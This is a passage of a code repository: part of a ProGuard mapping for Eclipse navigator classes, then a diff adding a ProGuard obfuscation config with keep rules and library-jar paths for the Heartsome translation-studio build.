removeListener(org.eclipse.jface.viewers.ILabelProviderListener) -> removeListener +org.eclipse.ui.navigator.resources.GoIntoActionProvider -> org.eclipse.ui.navigator.resources.GoIntoActionProvider: + org.eclipse.ui.internal.navigator.framelist.GoIntoAction goIntoAction -> agu + void init(org.eclipse.ui.navigator.ICommonActionExtensionSite) -> init + void dispose() -> dispose + void fillActionBars(org.eclipse.ui.IActionBars) -> fillActionBars + void fillContextMenu(org.eclipse.jface.action.IMenuManager) -> fillContextMenu + void updateActionBars() -> updateActionBars +org.eclipse.ui.navigator.resources.ProjectExplorer -> org.eclipse.ui.navigator.resources.ProjectExplorer: + java.lang.String VIEW_ID -> VIEW_ID + int WORKING_SETS -> WORKING_SETS + int PROJECTS -> PROJECTS + int rootMode -> agv + java.lang.String workingSetLabel -> agw + void createPartControl(org.eclipse.swt.widgets.Composite) -> createPartControl + void updateTitle() -> updateTitle + java.lang.String getFrameToolTipText(java.lang.Object) -> getFrameToolTipText + void setRootMode(int) -> setRootMode + int getRootMode() -> getRootMode + void setWorkingSetLabel(java.lang.String) -> setWorkingSetLabel + java.lang.String getWorkingSetLabel() -> getWorkingSetLabel +org.eclipse.ui.navigator.resources.ResourceDragAdapterAssistant -> org.eclipse.ui.navigator.resources.ResourceDragAdapterAssistant: + org.eclipse.swt.dnd.Transfer[] SUPPORTED_TRANSFERS -> agx + java.lang.Class IRESOURCE_TYPE -> agy + org.eclipse.swt.dnd.Transfer[] getSupportedTransferTypes() -> getSupportedTransferTypes + boolean setDragData(org.eclipse.swt.dnd.DragSourceEvent,org.eclipse.jface.viewers.IStructuredSelection) -> setDragData + org.eclipse.core.resources.IResource[] getSelectedResources(org.eclipse.jface.viewers.IStructuredSelection) -> e + org.eclipse.core.resources.IResource adaptToResource(java.lang.Object) -> f +org.eclipse.ui.navigator.resources.ResourceDropAdapterAssistant -> org.eclipse.ui.navigator.resources.ResourceDropAdapterAssistant: + org.eclipse.core.resources.IResource[] NO_RESOURCES -> agz + org.eclipse.ltk.core.refactoring.RefactoringStatus refactoringStatus -> agA + org.eclipse.core.runtime.IStatus returnStatus -> agB + boolean isSupportedType(org.eclipse.swt.dnd.TransferData) -> isSupportedType + org.eclipse.core.runtime.IStatus validateDrop(java.lang.Object,int,org.eclipse.swt.dnd.TransferData) -> validateDrop + org.eclipse.core.runtime.IStatus handleDrop(org.eclipse.ui.navigator.CommonDropAdapter,org.eclipse.swt.dnd.DropTargetEvent,java.lang.Object) -> handleDrop + org.eclipse.core.runtime.IStatus validatePluginTransferDrop(org.eclipse.jface.viewers.IStructuredSelection,java.lang.Object) -> validatePluginTransferDrop + org.eclipse.core.runtime.IStatus handlePluginTransferDrop(org.eclipse.jface.viewers.IStructuredSelection,java.lang.Object) -> handlePluginTransferDrop + org.eclipse.core.resources.IContainer getActualTarget(org.eclipse.core.resources.IResource) -> f + org.eclipse.core.resources.IResource[] getSelectedResources() -> getSelectedResources + org.eclipse.core.resources.IResource[] getSelectedResources(org.eclipse.jface.viewers.IStructuredSelection) -> e + org.eclipse.core.runtime.IStatus performResourceCopy(org.eclipse.ui.navigator.CommonDropAdapter,org.eclipse.swt.widgets.Shell,org.eclipse.core.resources.IResource[]) -> a + org.eclipse.core.runtime.IStatus performResourceMove(org.eclipse.ui.navigator.CommonDropAdapter,org.eclipse.core.resources.IResource[]) -> a + org.eclipse.core.runtime.IStatus performFileDrop(org.eclipse.ui.navigator.CommonDropAdapter,java.lang.Object) -> a + org.eclipse.core.runtime.IStatus validateTarget(java.lang.Object,org.eclipse.swt.dnd.TransferData,int) -> a + void mergeStatus(org.eclipse.core.runtime.MultiStatus,org.eclipse.core.runtime.IStatus) -> mergeStatus + void openError(org.eclipse.core.runtime.IStatus) -> a + void access$0(org.eclipse.ui.navigator.resources.ResourceDropAdapterAssistant,org.eclipse.ltk.core.refactoring.RefactoringStatus) -> a + void access$1(org.eclipse.ui.navigator.resources.ResourceDropAdapterAssistant,org.eclipse.core.runtime.IStatus) -> a + org.eclipse.swt.widgets.Shell access$2(org.eclipse.ui.navigator.resources.ResourceDropAdapterAssistant) -> a +org.eclipse.ui.navigator.resources.ResourceDropAdapterAssistant$1 -> org.eclipse.ui.navigator.resources.ResourceDropAdapterAssistant$1: + org.eclipse.ui.navigator.resources.ResourceDropAdapterAssistant this$0 -> agC + org.eclipse.ltk.core.refactoring.Refactoring val$refactoring -> agD + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +org.eclipse.ui.navigator.resources.ResourceDropAdapterAssistant$2 -> org.eclipse.ui.navigator.resources.ResourceDropAdapterAssistant$2: + org.eclipse.ui.navigator.resources.ResourceDropAdapterAssistant this$0 -> agC + org.eclipse.ltk.core.refactoring.PerformRefactoringOperation val$op -> agE + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +org.eclipse.ui.navigator.resources.ResourceDropAdapterAssistant$3 -> org.eclipse.ui.navigator.resources.ResourceDropAdapterAssistant$3: + org.eclipse.ui.navigator.resources.ResourceDropAdapterAssistant this$0 -> agC + org.eclipse.core.resources.IWorkspaceRunnable val$r -> agF + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +org.eclipse.ui.navigator.resources.ResourceDropAdapterAssistant$4 -> org.eclipse.ui.navigator.resources.ResourceDropAdapterAssistant$4: + org.eclipse.ui.navigator.resources.ResourceDropAdapterAssistant this$0 -> agC + java.lang.String[] val$names -> agG + org.eclipse.core.resources.IContainer val$target -> agH + int val$currentOperation -> agI + void run() -> run diff --git a/tools/obclipse/build/obfuscationConfig.pro b/tools/obclipse/build/obfuscationConfig.pro new file mode 100644 index 0000000..7a68ffc --- /dev/null +++ b/tools/obclipse/build/obfuscationConfig.pro @@ -0,0 +1,449 @@ + -libraryjars "/System/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home/lib/rt.jar" + -printmapping "/Users/Mac/r8PackGit/tePack/translation-studio/tools/obclipse/build/obfuscate.map" + -applymapping "/Users/Mac/r8PackGit/tePack/translation-studio/tools/obclipse/config/hste8/obfuscate.map" +-dontshrink +-dontoptimize +-defaultpackage obClasses +-allowaccessmodification +-useuniqueclassmembernames +-dontusemixedcaseclassnames +-keeppackagenames + +# Keep names - Native method names. Keep all native class/method names. +-keepclasseswithmembers,allowshrinking class * { + native <methods>; +} + +-keep public interface * extends com.sun.jna.Library {*;} + +-keep class **.Messages +-keep class org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages { + public <fields>; +} + +# ??¨ä??å­???¾å??ä¸????件ç??导å?ºå?????ç±»å??ï¼?public?????¹æ??????????? ################################################ +################################################################################################# +## net.heartsome.cat.common.core +-keep class net.heartsome.cat.common.bean.*, net.heartsome.cat.common.core.*, + net.heartsome.cat.common.core.exception.*, net.heartsome.cat.common.file.*, + net.heartsome.cat.common.innertag.*, net.heartsome.cat.common.innertag.factory.*, + net.heartsome.cat.common.locale.*, net.heartsome.cat.common.operator.*, + net.heartsome.cat.common.resources.*, net.heartsome.cat.common.tm.*, + net.heartsome.cat.common.util.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.common.ui +-keep class net.heartsome.cat.common.ui.*, net.heartsome.cat.common.ui.dialog.*, +net.heartsome.cat.common.ui.handlers.*, net.heartsome.cat.common.ui.innertag.*, +net.heartsome.cat.common.ui.listener.*, net.heartsome.cat.common.ui.utils.*, +net.heartsome.cat.common.ui.wizard.*, net.heartsome.cat.common.ui.languagesetting.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.database +-keep class net.heartsome.cat.database.*, net.heartsome.cat.database.bean.*, +net.heartsome.cat.database.service.*, net.heartsome.cat.database.tmx.*, +net.heartsome.cat.document.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.database.ui +-keep class net.heartsome.cat.database.ui.bean.*, net.heartsome.cat.database.ui.core.*, +net.heartsome.cat.database.ui.dialog.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.p2update +-keep class net.heartsome.cat.p2update.autoupdate.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.te.core +-keep class net.heartsome.cat.te.core.*, net.heartsome.cat.te.core.bean.*, + net.heartsome.cat.te.core.converter.*, net.heartsome.cat.te.core.qa.*, + net.heartsome.cat.te.core.tmxdata.*, net.heartsome.cat.te.core.utils.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.te.tmxeditor +-keep class net.heartsome.cat.te.tmxeditor.*, net.heartsome.cat.te.tmxeditor.editor.*, + net.heartsome.cat.te.tmxeditor.editor.history.*, net.heartsome.cat.te.tmxeditor.view.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.te.ui +-keep class net.heartsome.cat.te.ui.*, net.heartsome.cat.te.ui.preferencepage.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.cat.thirdpartlibrary not added... added by robert 2013-12-03 + +## net.heartsome.cat.te.qa +-keep class net.heartsome.cat.ts.help.*, net.heartsome.license.resource.* +{ + public <fields>; + public <methods>; +} + +## net.heartsome.xml +-keep class net.heartsome.xml.vtdimpl.* +{ + public <fields>; + public <methods>; +} + +## net.sourceforge.nattable.core +-keep class net.sourceforge.nattable.*, net.sourceforge.nattable.blink.*, + net.sourceforge.nattable.blink.command.*, net.sourceforge.nattable.blink.event.*, + net.sourceforge.nattable.columnCategories.*, net.sourceforge.nattable.columnChooser.*, + net.sourceforge.nattable.columnChooser.command.*, net.sourceforge.nattable.columnChooser.gui.*, + net.sourceforge.nattable.columnRename.*, net.sourceforge.nattable.command.*, + net.sourceforge.nattable.config.*, net.sourceforge.nattable.coordinate.*, + net.sourceforge.nattable.copy.action.*, net.sourceforge.nattable.copy.command.*, + net.sourceforge.nattable.copy.serializing.*, net.sourceforge.nattable.data.*, + net.sourceforge.nattable.data.convert.*, net.sourceforge.nattable.data.validate.*, + net.sourceforge.nattable.edit.*, net.sourceforge.nattable.edit.action.*, + net.sourceforge.nattable.edit.command.*, net.sourceforge.nattable.edit.config.*, + net.sourceforge.nattable.edit.editor.*, net.sourceforge.nattable.edit.event.*, + net.sourceforge.nattable.edit.gui.*, net.sourceforge.nattable.export.excel.*, + net.sourceforge.nattable.export.excel.action.*, net.sourceforge.nattable.export.excel.command.*, + net.sourceforge.nattable.export.excel.config.*, net.sourceforge.nattable.filterrow.command.*, + net.sourceforge.nattable.freeze.*, net.sourceforge.nattable.freeze.action.*, + net.sourceforge.nattable.freeze.command.*, net.sourceforge.nattable.freeze.config.*, + net.sourceforge.nattable.freeze.event.*, net.sourceforge.nattable.grid.*, + net.sourceforge.nattable.grid.cell.*, net.sourceforge.nattable.grid.command.*, + net.sourceforge.nattable.grid.data.*, net.sourceforge.nattable.grid.layer.*, + net.sourceforge.nattable.grid.layer.config.*, net.sourceforge.nattable.grid.layer.event.*, + net.sourceforge.nattable.group.*, net.sourceforge.nattable.group.action.*, + net.sourceforge.nattable.group.command.*, net.sourceforge.nattable.group.config.*, + net.sourceforge.nattable.group.event.*, net.sourceforge.nattable.group.gui.*, + net.sourceforge.nattable.group.painter.*, net.sourceforge.nattable.hideshow.*, + net.sourceforge.nattable.hideshow.command.*, net.sourceforge.nattable.hideshow.event.*, + net.sourceforge.nattable.layer.*, net.sourceforge.nattable.layer.cell.*, + net.sourceforge.nattable.layer.config.*, net.sourceforge.nattable.layer.event.*, + net.sourceforge.nattable.layer.stack.*, net.sourceforge.nattable.painter.*, + net.sourceforge.nattable.painter.cell.*, net.sourceforge.nattable.painter.cell.decorator.*, + net.sourceforge.nattable.painter.layer.*, net.sourceforge.nattable.persistence.*, + net.sourceforge.nattable.print.*, net.sourceforge.nattable.print.action.*, + net.sourceforge.nattable.print.command.*, net.sourceforge.nattable.print.config.*, + net.sourceforge.nattable.reorder.*, net.sourceforge.nattable.reorder.action.*, + net.sourceforge.nattable.reorder.command.*, net.sourceforge.nattable.reorder.config.*, + net.sourceforge.nattable.reorder.event.*, net.sourceforge.nattable.resize.*, + net.sourceforge.nattable.resize.action.*, net.sourceforge.nattable.resize.command.*, + net.sourceforge.nattable.resize.config.*, net.sourceforge.nattable.resize.event.*, + net.sourceforge.nattable.resize.mode.*, net.sourceforge.nattable.search.*, + net.sourceforge.nattable.search.action.*, net.sourceforge.nattable.search.command.*, + net.sourceforge.nattable.search.config.*, net.sourceforge.nattable.search.event.*, + net.sourceforge.nattable.search.gui.*, net.sourceforge.nattable.search.strategy.*, + net.sourceforge.nattable.selection.*, net.sourceforge.nattable.selection.action.*, + net.sourceforge.nattable.selection.command.*, net.sourceforge.nattable.selection.config.*, + net.sourceforge.nattable.selection.event.*, net.sourceforge.nattable.serializing.*, + net.sourceforge.nattable.sort.*, net.sourceforge.nattable.sort.action.*, + net.sourceforge.nattable.sort.command.*, net.sourceforge.nattable.sort.config.*, + net.sourceforge.nattable.sort.event.*, net.sourceforge.nattable.sort.painter.*, + net.sourceforge.nattable.style.*, net.sourceforge.nattable.style.editor.*, + net.sourceforge.nattable.style.editor.command.*, net.sourceforge.nattable.summaryrow.*, + net.sourceforge.nattable.tickupdate.*, net.sourceforge.nattable.tickupdate.action.*, + net.sourceforge.nattable.tickupdate.command.*, net.sourceforge.nattable.tickupdate.config.*, + net.sourceforge.nattable.ui.*, net.sourceforge.nattable.ui.action.*, + net.sourceforge.nattable.ui.binding.*, net.sourceforge.nattable.ui.matcher.*, + net.sourceforge.nattable.ui.menu.*, net.sourceforge.nattable.ui.mode.*, + net.sourceforge.nattable.ui.util.*, net.sourceforge.nattable.util.*, + net.sourceforge.nattable.viewport.*, net.sourceforge.nattable.viewport.action.*, + net.sourceforge.nattable.viewport.command.*, net.sourceforge.nattable.viewport.event.*, + net.sourceforge.nattable.widget.* +{ + public <fields>; + public <methods>; +} + +## org.eclipse.nebula.widgets.tablecombo +-keep class org.eclipse.nebula.jface.tablecomboviewer.*, org.eclipse.nebula.widgets.tablecombo.* +{ + public <fields>; + public <methods>; +} + + + +################################################################################################# +########################################################################################## + + + + +##############å¦??????????å¹³å?°ä½¿??¨ç??ä¸????hudson?????????å¹³å?°ï????£ä??使ç??eclipse export???è¦?æ·»å??#################### +#-keep public class * implements org.osgi.framework.BundleActivator {*;} +#-keep class net.heartsome.cat.ts.Application +########################################################################################### + +-keep class net.heartsome.cat.te.core.qa.NumberConsistenceQA +-keep class net.heartsome.cat.te.core.qa.SpaceOfParaCheckQA +-keep class net.heartsome.cat.te.core.qa.SrcSameButTgtQA +-keep class net.heartsome.cat.te.core.qa.SrcSameWithTgtQA +-keep class net.heartsome.cat.te.core.qa.TagConsistenceQA +-keep class net.heartsome.cat.te.core.qa.TgtNullQA +-keep class net.heartsome.cat.te.core.qa.TgtSameButSrcQA +-keep class net.heartsome.cat.te.core.qa.QAConstant + + +-dontnote + +-keep class net.heartsome.license.webservice.IService { + public <methods>; +} + +-keep public class * implements java.beans.PropertyChangeListener {*;} +-keep public class * extends net.heartsome.cat.converter.util.AbstractModelObject {*;} +-keep public class * extends de.jaret.util.misc.PropertyObservableBase {*;} + + +# VTD ??¹ä¸º??´æ?¥å????¨æ?????ï¼?ä¸???¾ç¤º??¸å?³è????????ä¹?ä¸?è¦?æ··æ????¸å?³ä»£??? +-dontwarn com.ximpleware.** +-dontwarn java_cup.* +-keep class com.ximpleware.** { *;} +-keep class java_cup.** { *;} + -libraryjars "/Users/Mac/r8PackGit/tePack/translation-studio/tools/obclipse/resources/obfuscate/annotations.jar" + -include "/Users/Mac/r8PackGit/tePack/translation-studio/tools/obclipse/resources/obfuscate/annotations.pro" + -libraryjars "/System/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home/lib/jce.jar" + -libraryjars "/Users/Mac/r8PackGit/tePack/translation-studio/tools/obclipse/resources/hste8/log4j-1.2.15.jar" + -libraryjars "/Users/Mac/r8PackGit/tePack/translation-studio/tools/obclipse/resources/hste8/slf4j-api-1.5.8.jar" + -libraryjars "/Users/Mac/r8PackGit/tePack/translation-studio/tools/obclipse/resources/hste8/slf4j-log4j12-1.5.8.jar" + -libraryjars "/Users/Mac/r8PackGit/tePack/translation-studio/tools/obclipse/resources/hste8/junit.jar" + -libraryjars "/Users/Mac/r8PackGit/tePack/translation-studio/tools/obclipse/resources/hste8/hslibrary3.jar" + -libraryjars "/Users/Mac/r8PackGit/tePack/translation-studio/tools/obclipse/resources/hste8/xercesImpl.jar" + -libraryjars "/Users/Mac/r8PackGit/tePack/translation-studio/tools/obclipse/resources/hste8/resolver.jar" + + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/com.ibm.icu_4.4.2.v20110823.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/heartsome.java.tools.plugin_8.0.0.R8b_v20121025.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/javax.servlet.jsp_2.0.0.v201101211617.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/javax.servlet_2.5.0.v201103041518.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.heartsome.cat.thirdpartlibrary_8.0.0.R8b_v20121113.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/net.sourceforge.nattable.core_8.0.0.R8b_v20121203.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.apache.commons.codec_1.3.0.v201101211617.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.apache.commons.el_1.0.0.v201101211617.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.apache.commons.httpclient_3.1.0.v201012070820.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.apache.commons.lang_2.4.0.v201005080502.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.apache.commons.logging_1.0.4.v201101211617.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.apache.jasper_5.5.17.v201101211617.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.apache.lucene.analysis_2.9.1.v201101211721.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.apache.lucene.core_2.9.1.v201101211721.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.apache.lucene_2.9.1.v201101211721.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.compare.core_3.5.200.I20110208-0800.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.commands_3.6.0.I20110111-0800.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.contenttype_3.4.100.v20110423-0524.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.databinding.beans_1.2.100.I20100824-0800.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.databinding.observable_1.4.0.I20110222-0800.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.databinding.property_1.4.0.I20110222-0800.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.databinding_1.4.0.I20110111-0800.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.expressions_3.4.300.v20110228.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.filebuffers_3.5.200.v20110928-1504.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.filesystem.linux.x86_1.4.0.v20110423-0524.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.filesystem.linux.x86_64_1.2.0.v20110423-0524.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.filesystem.win32.x86_1.1.300.v20110423-0524.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.filesystem.win32.x86_64_1.1.300.v20110423-0524.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.filesystem_1.3.100.v20110423-0524.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.jobs_3.5.101.v20120113-1953.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.net.linux.x86_1.1.200.I20110419-0800.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.net.linux.x86_64_1.1.0.I20110331-0827.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.net.nl_zh_8.0.1.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.net.win32.x86_1.0.100.I20110331-0827.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.net.win32.x86_64_1.0.100.I20110331-0827.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.net_1.2.100.I20110511-0800.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.resources.nl_zh_8.0.1.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.resources_3.7.101.v20120125-1505.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.runtime.compatibility.auth_3.2.200.v20110110.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.core.runtime_3.7.0.v20110110.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ecf.filetransfer_5.0.0.v20110531-2218.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ecf.identity_3.1.100.v20110531-2218.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ecf.provider.filetransfer.httpclient.ssl_1.0.0.v20110531-2218.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ecf.provider.filetransfer.httpclient_4.0.0.v20110531-2218.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ecf.provider.filetransfer.ssl_1.0.0.v20110531-2218.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ecf.provider.filetransfer_3.2.0.v20110531-2218.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ecf.ssl_1.0.100.v20110531-2218.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.ecf_3.1.300.v20110531-2218.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.app_1.3.100.v20110321.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.common_3.6.0.v20110523.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.ds_1.3.1.R37x_v20110701.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.frameworkadmin.equinox_1.0.300.v20110815-1438.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.frameworkadmin_2.0.0.v20110815-1438.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.http.jetty_2.0.100.v20110502.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.http.registry_1.1.100.v20110502.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.http.servlet_1.1.200.v20110502.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.jsp.jasper.registry_1.0.200.v20100503.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.jsp.jasper_1.0.300.v20110502.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_1.1.100.v20110505.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.100.v20110505.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.1.100.v20110502.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.100.v20110502.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.launcher_1.2.0.v20110502.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.p2.artifact.repository_1.1.101.v20110815-1419.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.p2.console_1.0.300.v20110815-1419.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.p2.core_2.1.1.v20120113-1346.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.p2.director_2.1.1.v20111126-0211.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.p2.engine_2.1.1.R37x_v20111003.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.p2.garbagecollector_1.0.200.v20110815-1419.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.p2.jarprocessor_1.0.200.v20110815-1438.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.p2.metadata.repository_1.2.0.v20110815-1419.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.p2.metadata_2.1.0.v20110815-1419.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.p2.operations_2.1.1.R37x_v20111111.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.p2.ql_2.0.100.v20110815-1419.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.p2.repository_2.1.1.v20120113-1346.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.p2.touchpoint.eclipse_2.1.1.v20110815-1419.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.p2.touchpoint.natives_1.0.300.v20110815-1419.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.p2.transport.ecf_1.0.0.v20111128-0624.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.p2.ui.nl_zh_8.0.1.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.p2.ui_2.1.1.v20120113-1346.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.preferences_3.4.2.v20120111-2020.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.registry_3.5.101.R37x_v20110810-1611.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.security.macosx_1.100.100.v20100503.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.security.ui_1.1.0.v20101004.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.security.win32.x86_1.0.200.v20100503.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.security.win32.x86_64_1.0.0.v20110502.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.security_1.1.1.R37x_v20110822-1018.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.simpleconfigurator.manipulator_2.0.0.v20110815-1438.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.simpleconfigurator_1.0.200.v20110815-1438.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.equinox.util_1.0.300.v20110502.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.help.base_3.6.2.v201202080800.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.help.ui_3.5.101.r37_20110819.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.help.webapp.nl_zh_8.0.1.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.help.webapp_3.6.1.r37_20110929.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.help_3.5.100.v20110426.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.jface.databinding_1.5.0.I20100907-0800.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.jface.nl_en_8.0.2.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.jface.nl_zh_8.0.2.R8b_v20130906.jar" + -libraryjars "/Users/Mac/Desktop/te_pack/repository/plugins/org.eclipse.jface.text_3.7.2.v20111213-1208.jar" + -libraryjars 